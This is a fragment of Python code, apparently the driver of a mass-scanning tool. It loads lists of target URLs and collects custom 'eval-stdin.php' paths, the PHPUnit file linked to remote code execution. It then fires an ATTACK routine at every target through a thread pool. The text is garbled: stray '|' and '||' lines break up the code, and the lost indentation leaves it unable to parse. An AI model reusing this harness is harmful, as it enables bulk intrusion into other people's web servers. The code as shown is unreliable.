print(style.YELLOW("Filtering list of {} .....\r".format(file)), flush=True)
|
||
|
chnk = 2500
|
||
|
counter = 0
|
||
|
try:
|
||
|
with open(file, 'r') as fp:
|
||
|
while True:
|
||
|
lines = list(islice(fp, chnk))
|
||
|
for line in lines:
|
||
|
if support_input(line):
|
||
|
LIST_URL.append(support_format(line))
|
||
|
if not lines:
|
||
|
break
|
||
|
except:
|
||
|
pass
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
pass
|
||
|
try:
|
||
|
if customs:
|
||
|
try:
|
||
|
with open(customs, 'r') as c:
|
||
|
for line in c.readlines():
|
||
|
if re.search("eval-stdin.php", line, re.IGNORECASE):
|
||
|
EXTRA_PATH.append(line.strip())
|
||
|
except Exception as ex:
|
||
|
pass
|
||
|
if LIST_URL:
|
||
|
print(style.YELLOW('Starting {} jobs with {} workers'.format(len(LIST_URL), MAX_THREAD)))
|
||
|
iterable = [(i.strip(), ATTACK, EXTRA_PATH, FORCE) for i in LIST_URL]
|
||
|
with ThreadPool(MAX_THREAD) as pool:
|
||
|
try:
|
||
|
results = pool.map(map_helper, iterable)
|
||
|
except (SystemExit, KeyboardInterrupt):
|
||
|
pool.close()
|
||
|
pool.terminate()
|
||
|
raise KeyboardInterrupt('Cancelled....!')
|
||
|
finally:
|
||
|
pool.close()
|
||
|
pool.join()
|
||
|
except KeyboardInterrupt:
|
||
|
print("Caught KeyboardInterrupt, terminating workers")
|
||
|
except Exception as ex:
|
||
|
print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__)))
|
||
|
pass
|